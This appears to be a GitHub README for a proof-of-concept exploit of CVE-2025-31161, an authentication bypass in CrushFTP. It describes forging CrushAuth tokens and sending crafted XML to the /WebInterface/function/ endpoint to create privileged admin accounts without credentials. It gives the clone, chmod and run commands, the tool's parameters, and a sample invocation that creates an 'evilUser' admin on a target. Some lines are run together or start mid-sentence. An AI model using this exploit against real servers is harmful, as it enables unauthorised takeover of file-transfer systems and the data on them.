f4dee-backup/cve-2025-31161Shell-based exploit for CVE-2025-31161, an authentication bypass in CrushFTP that allows unauthenticated attackers to forge CrushAuth tokens and create privileged admin users via crafted XML payloads.
PoC CVE-2025-31161 - Authentication Bypass CrushFTP
CrushAuth token and create a fully privileged admin user.This exploit targets a critical vulnerability in CrushFTP, allowing remote unauthenticated attackers to bypass authentication and create arbitrary admin users.
It works by crafting a valid-looking CrushAuth token and abusing the /WebInterface/function/ endpoint to submit a fully-formed XML payload.
curlshufgit clone https://github.com/f4dee-backup/CVE-2025-31161
cd CVE-2025-31161
chmod +x CVE-2025-31161.sh
./CVE-2025-31161.sh --help
[?] Parameters description:
--url Target base URL (e.g., http://target)
--port Port where CrushFTP is running
--target-user Valid or invalid username (e.g., crushadmin)
--new-user Username to be created (e.g., Pwn3d)
--new-password Password for the new user
--help Show this help panel
[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345